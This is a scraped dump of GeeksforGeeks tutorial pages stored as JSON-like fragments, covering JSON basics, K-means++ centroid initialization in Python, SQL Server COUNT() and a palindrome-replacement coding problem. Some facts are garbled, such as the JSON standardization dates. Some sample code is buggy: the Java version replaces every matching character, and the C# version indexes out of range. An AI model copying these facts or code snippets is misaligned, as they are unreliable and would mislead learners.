"jQuery-Questions" }, { "code": null, "e": 28432, "s": 28425, "text": "Picked" }, { "code": null, "e": 28442, "s": 28432, "text": "Blogathon" }, { "code": null, "e": 28447, "s": 28442, "text": "HTML" }, { "code": null, "e": 28454, "s": 28447, "text": "JQuery" }, { "code": null, "e": 28471, "s": 28454, "text": "Web Technologies" }, { "code": null, "e": 28476, "s": 28471, "text": "HTML" }, { "code": null, "e": 28574, "s": 28476, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28631, "s": 28574, "text": "How to Create a Table With Multiple Foreign Keys in SQL?" }, { "code": null, "e": 28672, "s": 28631, "text": "How to Import JSON Data into SQL Server?" }, { "code": null, "e": 28702, "s": 28672, "text": "Stratified Sampling in Pandas" }, { "code": null, "e": 28737, "s": 28702, "text": "How to Install Tkinter in Windows?" }, { "code": null, "e": 28781, "s": 28737, "text": "Python program to convert XML to Dictionary" }, { "code": null, "e": 28831, "s": 28781, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 28893, "s": 28831, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 28941, "s": 28893, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 29001, "s": 28941, "text": "How to set the default value for an HTML <select> element ?" } ]
JSON full form - GeeksforGeeks
10 Dec, 2019 JSON stands for JavaScript Object Notation. It is a text-based data interchange format to maintain the structure of the data. JSON is the replacement of the XML data exchange format in JSON. It is easy to struct the data compare to XML. It supports data structures like array and objects and the JSON documents that are rapidly executed on the server. It is also a Language-Independent format which is derived from the JavaScript. The official media type for the JSON is application/json and to save those file .json extension. JSON was initially created by Douglas Crockford in the early 2000s, first standardized in 2013 after that in 2007 JSON’s latest standard was published. Syntax: { "Name": "GeeksforGeeks", "Estd": 2009, "age": 10, "address": { "buildingAddress": "5th & 6th Floor Royal Kapsons, A- 118", "city": "Sector- 136, Noida", "state": "Uttar Pradesh (201305)", "postalCode": "201305" }, Characteristics of JSON: Easy to understand: JSON is easy to read and write. Format: It is a text-based interchange format. It can store any kind of data in an array of video, audio, and image anything that you required. Support: It is light-weighted and supported by almost every language and OS. It has a wide range of support for the browsers approx each browser supported by JSON. Dependency: It is an Independent language that is text-based. It is much faster compared to other text-based structured data. Advantages of JSON: JSON stores all the data in an array so data transfer makes easier. That’s why JSON is the best for sharing data of any size even audio, video, etc. Its syntax is very easy to use. Its syntax is very small and light-weighted that’s the reason that it executes and response in a faster way. JSON has a wide range for the browser support compatibility with the operating systems, it doesn’t require much effort to make it all browser compatible. On the server-side parsing the most important part that developers want, if the parsing will be fast on the server side then the user can get the fast response, so in this case JSON server-side parsing is the strong point compare tot others. Disadvantages of JSON: The main disadvantage for JSON is that there is no error handling in JSON, if there was a slight mistake in the JSON script then you will not get the structured data. JSON becomes quite dangerous when you used it with some unauthorized browsers. Like JSON service return a JSON file wrapped in a function call that has to be executed by the browsers if the browsers are unauthorized then your data can be hacked. JSON has limited supported tools that we can use during JSON development. JSON JavaScript Web Technologies Web technologies Questions Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Remove elements from a JavaScript Array Convert a string to an integer in JavaScript Difference between var, let and const keywords in JavaScript Differences between Functional Components and Class Components in React How to append HTML code to a div using JavaScript ? Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 25282, "s": 25254, "text": "\n10 Dec, 2019" }, { "code": null, "e": 25810, "s": 25282, "text": "JSON stands for JavaScript Object Notation. It is a text-based data interchange format to maintain the structure of the data. JSON is the replacement of the XML data exchange format in JSON. It is easy to struct the data compare to XML. It supports data structures like array and objects and the JSON documents that are rapidly executed on the server. It is also a Language-Independent format which is derived from the JavaScript. The official media type for the JSON is application/json and to save those file .json extension." }, { "code": null, "e": 25962, "s": 25810, "text": "JSON was initially created by Douglas Crockford in the early 2000s, first standardized in 2013 after that in 2007 JSON’s latest standard was published." }, { "code": null, "e": 25970, "s": 25962, "text": "Syntax:" }, { "code": "{ \"Name\": \"GeeksforGeeks\", \"Estd\": 2009, \"age\": 10, \"address\": { \"buildingAddress\": \"5th & 6th Floor Royal Kapsons, A- 118\", \"city\": \"Sector- 136, Noida\", \"state\": \"Uttar Pradesh (201305)\", \"postalCode\": \"201305\" },", "e": 26203, "s": 25970, "text": null }, { "code": null, "e": 26228, "s": 26203, "text": "Characteristics of JSON:" }, { "code": null, "e": 26280, "s": 26228, "text": "Easy to understand: JSON is easy to read and write." }, { "code": null, "e": 26424, "s": 26280, "text": "Format: It is a text-based interchange format. It can store any kind of data in an array of video, audio, and image anything that you required." }, { "code": null, "e": 26588, "s": 26424, "text": "Support: It is light-weighted and supported by almost every language and OS. It has a wide range of support for the browsers approx each browser supported by JSON." }, { "code": null, "e": 26714, "s": 26588, "text": "Dependency: It is an Independent language that is text-based. It is much faster compared to other text-based structured data." }, { "code": null, "e": 26734, "s": 26714, "text": "Advantages of JSON:" }, { "code": null, "e": 26883, "s": 26734, "text": "JSON stores all the data in an array so data transfer makes easier. That’s why JSON is the best for sharing data of any size even audio, video, etc." }, { "code": null, "e": 27024, "s": 26883, "text": "Its syntax is very easy to use. Its syntax is very small and light-weighted that’s the reason that it executes and response in a faster way." }, { "code": null, "e": 27178, "s": 27024, "text": "JSON has a wide range for the browser support compatibility with the operating systems, it doesn’t require much effort to make it all browser compatible." }, { "code": null, "e": 27420, "s": 27178, "text": "On the server-side parsing the most important part that developers want, if the parsing will be fast on the server side then the user can get the fast response, so in this case JSON server-side parsing is the strong point compare tot others." }, { "code": null, "e": 27443, "s": 27420, "text": "Disadvantages of JSON:" }, { "code": null, "e": 27610, "s": 27443, "text": "The main disadvantage for JSON is that there is no error handling in JSON, if there was a slight mistake in the JSON script then you will not get the structured data." }, { "code": null, "e": 27856, "s": 27610, "text": "JSON becomes quite dangerous when you used it with some unauthorized browsers. Like JSON service return a JSON file wrapped in a function call that has to be executed by the browsers if the browsers are unauthorized then your data can be hacked." }, { "code": null, "e": 27930, "s": 27856, "text": "JSON has limited supported tools that we can use during JSON development." }, { "code": null, "e": 27935, "s": 27930, "text": "JSON" }, { "code": null, "e": 27946, "s": 27935, "text": "JavaScript" }, { "code": null, "e": 27963, "s": 27946, "text": "Web Technologies" }, { "code": null, "e": 27990, "s": 27963, "text": "Web technologies Questions" }, { "code": null, "e": 28088, "s": 27990, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28128, "s": 28088, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 28173, "s": 28128, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 28234, "s": 28173, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 28306, "s": 28234, "text": "Differences between Functional Components and Class Components in React" }, { "code": null, "e": 28358, "s": 28306, "text": "How to append HTML code to a div using JavaScript ?" }, { "code": null, "e": 28398, "s": 28358, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 28431, "s": 28398, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 28476, "s": 28431, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 28519, "s": 28476, "text": "How to fetch data from an API in ReactJS ?" } ]
ML | K-means++ Algorithm - GeeksforGeeks
13 Jul, 2021 Prerequisite: K-means Clustering – Introduction One disadvantage of the K-means algorithm is that it is sensitive to the initialization of the centroids or the mean points. So, if a centroid is initialized to be a “far-off” point, it might just end up with no points associated with it, and at the same time, more than one cluster might end up linked with a single centroid. Similarly, more than one centroids might be initialized into the same cluster resulting in poor clustering. For example, consider the images shown below. A poor initialization of centroids resulted in poor clustering. This is how the clustering should have been: To overcome the above-mentioned drawback we use K-means++. This algorithm ensures a smarter initialization of the centroids and improves the quality of the clustering. Apart from initialization, the rest of the algorithm is the same as the standard K-means algorithm. That is K-means++ is the standard K-means algorithm coupled with a smarter initialization of the centroids. The steps involved are: Randomly select the first centroid from the data points.For each data point compute its distance from the nearest, previously chosen centroid.Select the next centroid from the data points such that the probability of choosing a point as centroid is directly proportional to its distance from the nearest, previously chosen centroid. (i.e. the point having maximum distance from the nearest centroid is most likely to be selected next as a centroid)Repeat steps 2 and 3 until k centroids have been sampled Randomly select the first centroid from the data points. For each data point compute its distance from the nearest, previously chosen centroid. Select the next centroid from the data points such that the probability of choosing a point as centroid is directly proportional to its distance from the nearest, previously chosen centroid. (i.e. the point having maximum distance from the nearest centroid is most likely to be selected next as a centroid) Repeat steps 2 and 3 until k centroids have been sampled By following the above procedure for initialization, we pick up centroids that are far away from one another. This increases the chances of initially picking up centroids that lie in different clusters. Also, since centroids are picked up from the data points, each centroid has some data points associated with it at the end. Consider a data-set having the following distribution: Code : Python code for KMean++ Algorithm Python3 # importing dependenciesimport numpy as npimport pandas as pdimport matplotlib.pyplot as pltimport sys # creating datamean_01 = np.array([0.0, 0.0])cov_01 = np.array([[1, 0.3], [0.3, 1]])dist_01 = np.random.multivariate_normal(mean_01, cov_01, 100) mean_02 = np.array([6.0, 7.0])cov_02 = np.array([[1.5, 0.3], [0.3, 1]])dist_02 = np.random.multivariate_normal(mean_02, cov_02, 100) mean_03 = np.array([7.0, -5.0])cov_03 = np.array([[1.2, 0.5], [0.5, 1,3]])dist_03 = np.random.multivariate_normal(mean_03, cov_01, 100) mean_04 = np.array([2.0, -7.0])cov_04 = np.array([[1.2, 0.5], [0.5, 1,3]])dist_04 = np.random.multivariate_normal(mean_04, cov_01, 100) data = np.vstack((dist_01, dist_02, dist_03, dist_04))np.random.shuffle(data) # function to plot the selected centroidsdef plot(data, centroids): plt.scatter(data[:, 0], data[:, 1], marker = '.', color = 'gray', label = 'data points') plt.scatter(centroids[:-1, 0], centroids[:-1, 1], color = 'black', label = 'previously selected centroids') plt.scatter(centroids[-1, 0], centroids[-1, 1], color = 'red', label = 'next centroid') plt.title('Select % d th centroid'%(centroids.shape[0])) plt.legend() plt.xlim(-5, 12) plt.ylim(-10, 15) plt.show() # function to compute euclidean distancedef distance(p1, p2): return np.sum((p1 - p2)**2) # initialization algorithmdef initialize(data, k): ''' initialized the centroids for K-means++ inputs: data - numpy array of data points having shape (200, 2) k - number of clusters ''' ## initialize the centroids list and add ## a randomly selected data point to the list centroids = [] centroids.append(data[np.random.randint( data.shape[0]), :]) plot(data, np.array(centroids)) ## compute remaining k - 1 centroids for c_id in range(k - 1): ## initialize a list to store distances of data ## points from nearest centroid dist = [] for i in range(data.shape[0]): point = data[i, :] d = sys.maxsize ## compute distance of 'point' from each of the previously ## selected centroid and store the minimum distance for j in range(len(centroids)): temp_dist = distance(point, centroids[j]) d = min(d, temp_dist) dist.append(d) ## select data point with maximum distance as our next centroid dist = np.array(dist) next_centroid = data[np.argmax(dist), :] centroids.append(next_centroid) dist = [] plot(data, np.array(centroids)) return centroids # call the initialize function to get the centroidscentroids = initialize(data, k = 4) Output: Note: Although the initialization in K-means++ is computationally more expensive than the standard K-means algorithm, the run-time for convergence to optimum is drastically reduced for K-means++. This is because the centroids that are initially chosen are likely to lie in different clusters already. Akanksha_Rai ruhelaa48 Machine Learning Machine Learning Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Introduction to Recurrent Neural Network Support Vector Machine Algorithm Intuition of Adam Optimizer CNN | Introduction to Pooling Layer Convolutional Neural Network (CNN) in Machine Learning Markov Decision Process Singular Value Decomposition (SVD) k-nearest neighbor algorithm in Python SARSA Reinforcement Learning Q-Learning in Python
[ { "code": null, "e": 25613, "s": 25585, "text": "\n13 Jul, 2021" }, { "code": null, "e": 25662, "s": 25613, "text": "Prerequisite: K-means Clustering – Introduction " }, { "code": null, "e": 26209, "s": 25662, "text": "One disadvantage of the K-means algorithm is that it is sensitive to the initialization of the centroids or the mean points. So, if a centroid is initialized to be a “far-off” point, it might just end up with no points associated with it, and at the same time, more than one cluster might end up linked with a single centroid. Similarly, more than one centroids might be initialized into the same cluster resulting in poor clustering. For example, consider the images shown below. A poor initialization of centroids resulted in poor clustering. " }, { "code": null, "e": 26256, "s": 26209, "text": "This is how the clustering should have been: " }, { "code": null, "e": 26635, "s": 26258, "text": "To overcome the above-mentioned drawback we use K-means++. This algorithm ensures a smarter initialization of the centroids and improves the quality of the clustering. Apart from initialization, the rest of the algorithm is the same as the standard K-means algorithm. That is K-means++ is the standard K-means algorithm coupled with a smarter initialization of the centroids. " }, { "code": null, "e": 26661, "s": 26635, "text": "The steps involved are: " }, { "code": null, "e": 27166, "s": 26661, "text": "Randomly select the first centroid from the data points.For each data point compute its distance from the nearest, previously chosen centroid.Select the next centroid from the data points such that the probability of choosing a point as centroid is directly proportional to its distance from the nearest, previously chosen centroid. (i.e. the point having maximum distance from the nearest centroid is most likely to be selected next as a centroid)Repeat steps 2 and 3 until k centroids have been sampled" }, { "code": null, "e": 27223, "s": 27166, "text": "Randomly select the first centroid from the data points." }, { "code": null, "e": 27310, "s": 27223, "text": "For each data point compute its distance from the nearest, previously chosen centroid." }, { "code": null, "e": 27617, "s": 27310, "text": "Select the next centroid from the data points such that the probability of choosing a point as centroid is directly proportional to its distance from the nearest, previously chosen centroid. (i.e. the point having maximum distance from the nearest centroid is most likely to be selected next as a centroid)" }, { "code": null, "e": 27674, "s": 27617, "text": "Repeat steps 2 and 3 until k centroids have been sampled" }, { "code": null, "e": 28004, "s": 27676, "text": "By following the above procedure for initialization, we pick up centroids that are far away from one another. This increases the chances of initially picking up centroids that lie in different clusters. Also, since centroids are picked up from the data points, each centroid has some data points associated with it at the end. " }, { "code": null, "e": 28060, "s": 28004, "text": "Consider a data-set having the following distribution: " }, { "code": null, "e": 28103, "s": 28060, "text": "Code : Python code for KMean++ Algorithm " }, { "code": null, "e": 28111, "s": 28103, "text": "Python3" }, { "code": "# importing dependenciesimport numpy as npimport pandas as pdimport matplotlib.pyplot as pltimport sys # creating datamean_01 = np.array([0.0, 0.0])cov_01 = np.array([[1, 0.3], [0.3, 1]])dist_01 = np.random.multivariate_normal(mean_01, cov_01, 100) mean_02 = np.array([6.0, 7.0])cov_02 = np.array([[1.5, 0.3], [0.3, 1]])dist_02 = np.random.multivariate_normal(mean_02, cov_02, 100) mean_03 = np.array([7.0, -5.0])cov_03 = np.array([[1.2, 0.5], [0.5, 1,3]])dist_03 = np.random.multivariate_normal(mean_03, cov_01, 100) mean_04 = np.array([2.0, -7.0])cov_04 = np.array([[1.2, 0.5], [0.5, 1,3]])dist_04 = np.random.multivariate_normal(mean_04, cov_01, 100) data = np.vstack((dist_01, dist_02, dist_03, dist_04))np.random.shuffle(data) # function to plot the selected centroidsdef plot(data, centroids): plt.scatter(data[:, 0], data[:, 1], marker = '.', color = 'gray', label = 'data points') plt.scatter(centroids[:-1, 0], centroids[:-1, 1], color = 'black', label = 'previously selected centroids') plt.scatter(centroids[-1, 0], centroids[-1, 1], color = 'red', label = 'next centroid') plt.title('Select % d th centroid'%(centroids.shape[0])) plt.legend() plt.xlim(-5, 12) plt.ylim(-10, 15) plt.show() # function to compute euclidean distancedef distance(p1, p2): return np.sum((p1 - p2)**2) # initialization algorithmdef initialize(data, k): ''' initialized the centroids for K-means++ inputs: data - numpy array of data points having shape (200, 2) k - number of clusters ''' ## initialize the centroids list and add ## a randomly selected data point to the list centroids = [] centroids.append(data[np.random.randint( data.shape[0]), :]) plot(data, np.array(centroids)) ## compute remaining k - 1 centroids for c_id in range(k - 1): ## initialize a list to store distances of data ## points from nearest centroid dist = [] for i in range(data.shape[0]): point = data[i, :] d = sys.maxsize ## compute distance of 'point' from each of the previously ## selected centroid and store the minimum distance for j in range(len(centroids)): temp_dist = distance(point, centroids[j]) d = min(d, temp_dist) dist.append(d) ## select data point with maximum distance as our next centroid dist = np.array(dist) next_centroid = data[np.argmax(dist), :] centroids.append(next_centroid) dist = [] plot(data, np.array(centroids)) return centroids # call the initialize function to get the centroidscentroids = initialize(data, k = 4)", "e": 30887, "s": 28111, "text": null }, { "code": null, "e": 30897, "s": 30887, "text": "Output: " }, { "code": null, "e": 31199, "s": 30897, "text": "Note: Although the initialization in K-means++ is computationally more expensive than the standard K-means algorithm, the run-time for convergence to optimum is drastically reduced for K-means++. This is because the centroids that are initially chosen are likely to lie in different clusters already. " }, { "code": null, "e": 31212, "s": 31199, "text": "Akanksha_Rai" }, { "code": null, "e": 31222, "s": 31212, "text": "ruhelaa48" }, { "code": null, "e": 31239, "s": 31222, "text": "Machine Learning" }, { "code": null, "e": 31256, "s": 31239, "text": "Machine Learning" }, { "code": null, "e": 31354, "s": 31256, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 31395, "s": 31354, "text": "Introduction to Recurrent Neural Network" }, { "code": null, "e": 31428, "s": 31395, "text": "Support Vector Machine Algorithm" }, { "code": null, "e": 31456, "s": 31428, "text": "Intuition of Adam Optimizer" }, { "code": null, "e": 31492, "s": 31456, "text": "CNN | Introduction to Pooling Layer" }, { "code": null, "e": 31547, "s": 31492, "text": "Convolutional Neural Network (CNN) in Machine Learning" }, { "code": null, "e": 31571, "s": 31547, "text": "Markov Decision Process" }, { "code": null, "e": 31606, "s": 31571, "text": "Singular Value Decomposition (SVD)" }, { "code": null, "e": 31645, "s": 31606, "text": "k-nearest neighbor algorithm in Python" }, { "code": null, "e": 31674, "s": 31645, "text": "SARSA Reinforcement Learning" } ]
COUNT() Function in SQL Server - GeeksforGeeks
19 Jan, 2021 COUNT() function : This function in SQL Server is used to find the number of indexes as returned from the query selected. Features : This function is used to find the number of indexes as returned from the query selected. This function comes under Numeric Functions. This function accepts only one parameter namely expression. This function ignore NULL values and doesn’t count them. Syntax : COUNT(expression) Parameter : This method accepts only one parameter as given below: expression: Specified expression which can either be a field or a string type value. Returns : It returns the number of indexes as returned from the query selected. Example-1 : Using COUNT() function and getting the output. CREATE TABLE product ( user_id int IDENTITY(100, 2) NOT NULL, product_1 VARCHAR(10), product_2 VARCHAR(10), price int ); INSERT product(product_1, price) VALUES ('rice', 400); INSERT product(product_2, price) VALUES ('grains', 600); SELECT COUNT(user_id) FROM product; Output : 2 Example-2 : Using COUNT() function and counting float values. CREATE TABLE floats ( user_id int IDENTITY(100, 2) NOT NULL, float_val float ); INSERT floats(float_val) VALUES (3.5); INSERT floats(float_val) VALUES (2.1); INSERT floats(float_val) VALUES (6.3); INSERT floats(float_val) VALUES (9.9); INSERT floats(float_val) VALUES (7.0); SELECT COUNT(float_val) FROM floats; Output : 5 Example-3 : Using COUNT() function and getting the output where MRP is greater than the number of counts of MRP. CREATE TABLE package ( user_id int IDENTITY(100, 4) NOT NULL, item VARCHAR(10), mrp int ); INSERT package(item, mrp) VALUES ('book1', 3); INSERT package(item, mrp) VALUES ('book2', 350); INSERT package(item, mrp) VALUES ('book3', 400); SELECT * FROM package WHERE mrp > (SELECT COUNT(mrp) FROM package); Output : | user_id | item | mrp -------------------------------- 1 | 104 | book2 | 350 -------------------------------- 2 | 108 | book3 | 400 Example-4 : Using COUNT() function and getting the records of (MRP-sales price). CREATE TABLE package ( user_id int IDENTITY(100, 4) NOT NULL, item VARCHAR(10), mrp int, sp int ); INSERT package(item, mrp, sp) VALUES ('book1', 250, 240); INSERT package(item, mrp, sp) VALUES ('book2', 350, 320); INSERT package(item, mrp) VALUES ('book3', 400); SELECT COUNT(mrp-sp) FROM package; Output : 2 Application : This function is used to find the number of indexes as returned from the query selected. DBMS-SQL SQL-Server SQL SQL Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Update Multiple Columns in Single Update Statement in SQL? SQL | Subquery How to Create a Table With Multiple Foreign Keys in SQL? What is Temporary Table in SQL? SQL Query to Find the Name of a Person Whose Name Starts with Specific Letter SQL Query to Convert VARCHAR to INT SQL using Python How to Write a SQL Query For a Specific Date Range and Date Time? How to Select Data Between Two Dates and Times in SQL Server? SQL Query to Compare Two Dates
[ { "code": null, "e": 25513, "s": 25485, "text": "\n19 Jan, 2021" }, { "code": null, "e": 25532, "s": 25513, "text": "COUNT() function :" }, { "code": null, "e": 25635, "s": 25532, "text": "This function in SQL Server is used to find the number of indexes as returned from the query selected." }, { "code": null, "e": 25646, "s": 25635, "text": "Features :" }, { "code": null, "e": 25735, "s": 25646, "text": "This function is used to find the number of indexes as returned from the query selected." }, { "code": null, "e": 25780, "s": 25735, "text": "This function comes under Numeric Functions." }, { "code": null, "e": 25840, "s": 25780, "text": "This function accepts only one parameter namely expression." }, { "code": null, "e": 25897, "s": 25840, "text": "This function ignore NULL values and doesn’t count them." }, { "code": null, "e": 25906, "s": 25897, "text": "Syntax :" }, { "code": null, "e": 25924, "s": 25906, "text": "COUNT(expression)" }, { "code": null, "e": 25936, "s": 25924, "text": "Parameter :" }, { "code": null, "e": 25991, "s": 25936, "text": "This method accepts only one parameter as given below:" }, { "code": null, "e": 26076, "s": 25991, "text": "expression: Specified expression which can either be a field or a string type value." }, { "code": null, "e": 26086, "s": 26076, "text": "Returns :" }, { "code": null, "e": 26156, "s": 26086, "text": "It returns the number of indexes as returned from the query selected." }, { "code": null, "e": 26168, "s": 26156, "text": "Example-1 :" }, { "code": null, "e": 26215, "s": 26168, "text": "Using COUNT() function and getting the output." }, { "code": null, "e": 26497, "s": 26215, "text": "CREATE TABLE product\n( \nuser_id int IDENTITY(100, 2) NOT NULL, \nproduct_1 VARCHAR(10),\nproduct_2 VARCHAR(10),\nprice int \n);\nINSERT product(product_1, price) \nVALUES ('rice', 400);\n\nINSERT product(product_2, price) \nVALUES ('grains', 600);\nSELECT COUNT(user_id) FROM product;" }, { "code": null, "e": 26506, "s": 26497, "text": "Output :" }, { "code": null, "e": 26508, "s": 26506, "text": "2" }, { "code": null, "e": 26520, "s": 26508, "text": "Example-2 :" }, { "code": null, "e": 26570, "s": 26520, "text": "Using COUNT() function and counting float values." }, { "code": null, "e": 26894, "s": 26570, "text": "CREATE TABLE floats\n( \nuser_id int IDENTITY(100, 2) NOT NULL,\nfloat_val float\n);\nINSERT floats(float_val) \nVALUES (3.5);\nINSERT floats(float_val) \nVALUES (2.1);\nINSERT floats(float_val) \nVALUES (6.3);\nINSERT floats(float_val) \nVALUES (9.9);\nINSERT floats(float_val) \nVALUES (7.0);\nSELECT COUNT(float_val) FROM floats;" }, { "code": null, "e": 26903, "s": 26894, "text": "Output :" }, { "code": null, "e": 26905, "s": 26903, "text": "5" }, { "code": null, "e": 26917, "s": 26905, "text": "Example-3 :" }, { "code": null, "e": 27018, "s": 26917, "text": "Using COUNT() function and getting the output where MRP is greater than the number of counts of MRP." }, { "code": null, "e": 27337, "s": 27018, "text": "CREATE TABLE package\n( \nuser_id int IDENTITY(100, 4) NOT NULL, \nitem VARCHAR(10),\nmrp int \n);\nINSERT package(item, mrp) \nVALUES ('book1', 3);\n\nINSERT package(item, mrp) \nVALUES ('book2', 350);\n\nINSERT package(item, mrp) \nVALUES ('book3', 400);\n\nSELECT * FROM package\nWHERE mrp > (SELECT COUNT(mrp) FROM package);" }, { "code": null, "e": 27346, "s": 27337, "text": "Output :" }, { "code": null, "e": 27502, "s": 27346, "text": " | user_id | item | mrp\n--------------------------------\n1 | 104 | book2 | 350\n--------------------------------\n2 | 108 | book3 | 400" }, { "code": null, "e": 27514, "s": 27502, "text": "Example-4 :" }, { "code": null, "e": 27583, "s": 27514, "text": "Using COUNT() function and getting the records of (MRP-sales price)." }, { "code": null, "e": 27892, "s": 27583, "text": "CREATE TABLE package\n( \nuser_id int IDENTITY(100, 4) NOT NULL, \nitem VARCHAR(10),\nmrp int,\nsp int\n);\nINSERT package(item, mrp, sp) \nVALUES ('book1', 250, 240);\nINSERT package(item, mrp, sp) \nVALUES ('book2', 350, 320);\nINSERT package(item, mrp) \nVALUES ('book3', 400);\nSELECT COUNT(mrp-sp) FROM package;" }, { "code": null, "e": 27901, "s": 27892, "text": "Output :" }, { "code": null, "e": 27903, "s": 27901, "text": "2" }, { "code": null, "e": 27917, "s": 27903, "text": "Application :" }, { "code": null, "e": 28006, "s": 27917, "text": "This function is used to find the number of indexes as returned from the query selected." }, { "code": null, "e": 28015, "s": 28006, "text": "DBMS-SQL" }, { "code": null, "e": 28026, "s": 28015, "text": "SQL-Server" }, { "code": null, "e": 28030, "s": 28026, "text": "SQL" }, { "code": null, "e": 28034, "s": 28030, "text": "SQL" }, { "code": null, "e": 28132, "s": 28034, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28198, "s": 28132, "text": "How to Update Multiple Columns in Single Update Statement in SQL?" }, { "code": null, "e": 28213, "s": 28198, "text": "SQL | Subquery" }, { "code": null, "e": 28270, "s": 28213, "text": "How to Create a Table With Multiple Foreign Keys in SQL?" }, { "code": null, "e": 28302, "s": 28270, "text": "What is Temporary Table in SQL?" }, { "code": null, "e": 28380, "s": 28302, "text": "SQL Query to Find the Name of a Person Whose Name Starts with Specific Letter" }, { "code": null, "e": 28416, "s": 28380, "text": "SQL Query to Convert VARCHAR to INT" }, { "code": null, "e": 28433, "s": 28416, "text": "SQL using Python" }, { "code": null, "e": 28499, "s": 28433, "text": "How to Write a SQL Query For a Specific Date Range and Date Time?" }, { "code": null, "e": 28561, "s": 28499, "text": "How to Select Data Between Two Dates and Times in SQL Server?" } ]
Minimum number of characters to be replaced to make a given string Palindrome - GeeksforGeeks
31 Jul, 2021 Given string str, the task is to find the minimum number of characters to be replaced to make a given string palindrome. Replacing a character means replacing it with any single character in the same position. We are not allowed to remove or add any characters. If there are multiple answers, print the lexicographically smallest string. Examples: Input: str = "geeks" Output: 2 geeks can be converted to geeeg to make it palindrome by replacing minimum characters. Input: str = "ameba" Output: 1 We can get "abeba" or "amema" with only 1 change. Among those two, "abeba" is lexicographically smallest. Approach: Run a loop from 0 up to (length)/2-1 and check if a character at the i-th index i.e. s[i]!=s[length-i-1], then we will replace the alphabetically larger character with the one which is alphabetically smaller among them and continue the same process until all the elements get traversed. Below is the implementation of the above approach: C++ Java Python C# PHP Javascript // C++ Implementation of the above approach#include<bits/stdc++.h>using namespace std; // Function to find the minimum number// character change required void change(string s){ // Finding the length of the string int n = s.length(); // To store the number of replacement operations int cc = 0; for(int i=0;i<n/2;i++) { // If the characters at location // i and n-i-1 are same then // no change is required if(s[i]== s[n-i-1]) continue; // Counting one change operation cc+= 1; // Changing the character with higher // ascii value with lower ascii value if(s[i]<s[n-i-1]) s[n-i-1]= s[i] ; else s[i]= s[n-i-1] ; } printf("Minimum characters to be replaced = %d\n", (cc)) ; cout<<s<<endl;}// Driver codeint main(){string s = "geeks";change((s));return 0;}//contributed by Arnab Kundu // Java Implementation of the above approachimport java.util.*; class GFG{ // Function to find the minimum number// character change requiredstatic void change(String s){ // Finding the length of the string int n = s.length(); // To store the number of replacement operations int cc = 0; for(int i = 0; i < n/2; i++) { // If the characters at location // i and n-i-1 are same then // no change is required if(s.charAt(i) == s.charAt(n - i - 1)) continue; // Counting one change operation cc += 1; // Changing the character with higher // ascii value with lower ascii value if(s.charAt(i) < s.charAt(n - i - 1)) s = s.replace(s.charAt(n - i - 1),s.charAt(i)); else s = s.replace(s.charAt(n-1),s.charAt(n - i - 1)); } System.out.println("Minimum characters to be replaced = "+(cc)) ; System.out.println(s);} // Driver codepublic static void main(String args[]){ String s = "geeks"; change((s)); }} // This code is contributed by// Nikhil Gupta # Python Implementation of the above approach # Function to find the minimum number# character change requiredimport math as madef change(s): # Finding the length of the string n = len(s) # To store the number of replacement operations cc = 0 for i in range(n//2): # If the characters at location # i and n-i-1 are same then # no change is required if(s[i]== s[n-i-1]): continue # Counting one change operation cc+= 1 # Changing the character with higher # ascii value with lower ascii value if(s[i]<s[n-i-1]): s[n-i-1]= s[i] else: s[i]= s[n-i-1] print("Minimum characters to be replaced = ", str(cc)) print(*s, sep ="") # Driver codes = "geeks"change(list(s)) // C# Implementation of the above approachusing System; class GFG{ // Function to find the minimum number// character change requiredstatic void change(String s){ // Finding the length of the string int n = s.Length; // To store the number of //replacement operations int cc = 0; for(int i = 0; i < n / 2; i++) { // If the characters at location // i and n-i-1 are same then // no change is required if(s[i] == s[n - i - 1]) continue; // Counting one change operation cc += 1; // Changing the character with higher // ascii value with lower ascii value if(s[i] < s[n - i - 1]) s = s.Replace(s[n - i - 1], s[i]); else s = s.Replace(s[n], s[n - i - 1]); } Console.WriteLine("Minimum characters " + "to be replaced = " + (cc)); Console.WriteLine(s);} // Driver codepublic static void Main(String []args){ String s = "geeks"; change((s));}} // This code contributed by Rajput-Ji <?php// PHP Implementation of the above approach // Function to find the minimum number// character change required function change($s){ // Finding the length of the string $n = strlen($s); // To store the number of replacement operations $cc = 0; for($i=0;$i<$n/2;$i++) { // If the characters at location // i and n-i-1 are same then // no change is required if($s[$i]== $s[$n-$i-1]) continue; // Counting one change operation $cc+= 1; // Changing the character with higher // ascii value with lower ascii value if($s[$i]<$s[$n-$i-1]) $s[$n-$i-1]= $s[$i] ; else $s[$i]= $s[$n-$i-1] ; } echo "Minimum characters to be replaced = ". $cc."\n" ; echo $s."\n";}// Driver code $s = "geeks";change(($s));return 0;?> <script> // Javascript Implementation of the above approach // Function to find the minimum number// character change required function change(s){ // Finding the length of the string var n = s.length; // To store the number of replacement operations var cc = 0; for(var i=0;i<n/2;i++) { // If the characters at location // i and n-i-1 are same then // no change is required if(s[i]== s[n-i-1]) continue; // Counting one change operation cc+= 1; // Changing the character with higher // ascii value with lower ascii value if(s[i]<s[n-i-1]) s[n-i-1]= s[i] ; else s[i]= s[n-i-1] ; } document.write("Minimum characters to be replaced = " + (cc)+"<br>"); document.write(s.join('') + "<br>");} // Driver codevar s = "geeks".split('');change((s)); </script> Minimum 